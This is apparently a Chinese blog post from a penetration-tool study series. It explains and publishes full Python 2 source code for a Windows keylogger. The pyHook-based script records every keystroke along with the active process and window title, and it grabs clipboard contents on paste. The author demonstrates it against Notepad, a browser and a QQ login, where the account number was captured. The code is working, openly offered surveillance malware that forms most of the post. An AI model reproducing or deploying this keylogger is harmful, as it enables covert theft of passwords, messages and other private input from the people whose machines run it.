天天看點

Python編寫滲透工具學習筆記一 | 0x07 Python實作鍵盤記錄器

0x07 Python實作鍵盤記錄器

這份代碼比較經典,裡面的注釋也寫的很詳細,我也就直接放出來給大家一起學習一下。

簡單說一說

我們定義了pyhook的hookmanager管理器,然後将我們自定義的回調函數keystroke與keydown事件進行了綁定。之後我們通過pyhook勾住了所有的按鍵事件,然後繼續消息循環,當目标按下鍵盤上的一個鍵時,我們的keystroke函數就會被調用,它唯一的一個參數就是觸發這個事件的對象。在這個函數中,我們要做的第一件事是檢查使用者是否切換了視窗,如果切換了視窗,我們需要重新獲得目前視窗的名字及程序資訊,然後,我們檢查按鍵是否在可輸出的ascii碼範圍之内,如果是的話,輸出即可。如果按鍵是修飾鍵(如shift、ctrl、alt等)或其他非标準的按鍵,那麼我們從時間的對象中提取按鍵的名稱。我們還檢查了使用者是否在進行粘貼操作,如果是的話,我們提取剪貼闆中的内容。我們的回調函數通過傳回true來允許執行消息隊列中的下一個hook事件。

Python編寫滲透工具學習筆記一 | 0x07 Python實作鍵盤記錄器
Python編寫滲透工具學習筆記一 | 0x07 Python實作鍵盤記錄器
Python編寫滲透工具學習筆記一 | 0x07 Python實作鍵盤記錄器
Python編寫滲透工具學習筆記一 | 0x07 Python實作鍵盤記錄器

測試一下:

我這裡打開了一個記事本,然後輸入了一些東西,然後我又打開了火狐浏覽器,通路了baidu的頁面并點選了其中一個連接配接,這些操作基本都被記錄下來了

Python編寫滲透工具學習筆記一 | 0x07 Python實作鍵盤記錄器
Python編寫滲透工具學習筆記一 | 0x07 Python實作鍵盤記錄器

這裡我還使用這個鍵盤記錄器做了個有趣的小實驗,打開qq輸入賬号密碼登入,看看能不能記下賬号密碼,我發現這裡的賬号是可以記下來的,但是密碼卻不行,應該是qq用戶端程式對這些鍵盤記錄儀做過防禦操作處理了。截圖如下,我當時輸入的賬号是541766184

密碼是 Admin123 (當然這裡的密碼是錯誤的,隻是做個示範)

這個鍵盤記錄儀會記錄下其他字元,這些字元并不是我輸入的,而且當我停下不輸入的時候,會發現這個鍵盤記錄儀還在不斷的記錄一些我沒按過的按鍵,這些應該都是qq用戶端做過的防記錄處理。

Python編寫滲透工具學習筆記一 | 0x07 Python實作鍵盤記錄器

工具源碼:

#-*- coding:utf8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
    # 擷取前台視窗句柄
    hwnd = user32.GetForegroundWindow()
    # 獲得程序ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    # 儲存目前程序ID
    process_id = "%d" % pid.value
    # 申請記憶體
    executable = create_string_buffer("\x00" * 512)
    # 打開程序
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    # 擷取程序所對應的可執行檔案的名字
    psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)
    # 讀取視窗标題
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
    # 輸出程序相關資訊
    print
    print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
    print
    # 關閉句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
def keyStore(event):
    global current_window
    # 檢查目标是否切換了視窗
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
    # 檢測按鍵是否為正常按鍵(非組合鍵等)
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        # 若輸入為[CTRL-V],則擷取剪切闆内容
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE] - %s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    # 傳回直到下一個鈎子事件被觸發
    return True
# 建立和注冊鈎子函數管理器
k1 =pyHook.HookManager()
#
k1.KeyDown = keyStore
# 注冊鍵盤記錄的鈎子,然後永久執行
k1.HookKeyboard()
pythoncom.PumpMessages()           

複制